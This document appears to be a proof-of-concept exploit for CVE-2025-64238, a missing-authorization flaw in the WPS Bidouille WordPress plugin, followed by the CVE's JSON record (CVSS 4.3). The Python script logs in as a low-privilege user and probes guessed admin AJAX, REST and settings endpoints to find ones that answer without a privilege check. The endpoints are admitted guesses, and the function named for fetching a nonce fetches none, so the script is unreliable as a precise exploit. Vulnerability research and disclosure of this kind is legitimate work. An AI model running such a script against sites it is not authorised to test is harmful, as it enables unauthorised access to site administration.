CVE-2025-64238

# CVE-2025-64238 PoC - WPS Bidouille Broken Access Control # Author: Security Researcher # Target: WordPress with WPS Bidouille plugin <= 1.33.1 import requests import sys TARGET_URL = "https://target-site.com" USERNAME = "low_privilege_user" PASSWORD = "user_password" def get_wp_nonce(url): """Get WordPress nonce for authenticated requests""" login_url = f"{url}/wp-login.php" session = requests.Session() # Login to WordPress login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed") return None return session def exploit_access_control(session, url): """Exploit the broken access control vulnerability""" # Target endpoints that should require higher privileges # These are common WPS Bidouille admin endpoints endpoints = [ '/wp-admin/admin-ajax.php?action=wps_bidouille_admin_action', '/wp-json/wps-bidouille/v1/admin/settings', '/wp-admin/admin.php?page=wps-bidouille-settings' ] print("[*] Testing access control bypass...") for endpoint in endpoints: target_url = url + endpoint response = session.get(target_url) # Check if we get admin-level response instead of 403/401 if response.status_code == 200 and 'admin' in response.text.lower(): print(f"[+] VULNERABLE: {endpoint}") print(f" Status: {response.status_code}") print(f" Response length: {len(response.text)}") else: print(f"[-] Protected: {endpoint} (Status: {response.status_code})") if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] print(f"[*] Targeting: {TARGET_URL}") session = get_wp_nonce(TARGET_URL) if session: print("[+] Successfully authenticated as low-privilege user") exploit_access_control(session, TARGET_URL) else: print("[-] Failed to authenticate")

{"cve": {"id": "CVE-2025-64238", "sourceIdentifier": "[email protected]", "published": "2025-12-16T09:15:53.247", "lastModified": "2026-04-27T16:16:36.377", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in NicolasKulka WPS Bidouille wps-bidouille allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WPS Bidouille: from n/a through <= 1.33.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wps-bidouille/vulnerability/wordpress-wps-bidouille-plugin-1-33-1-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}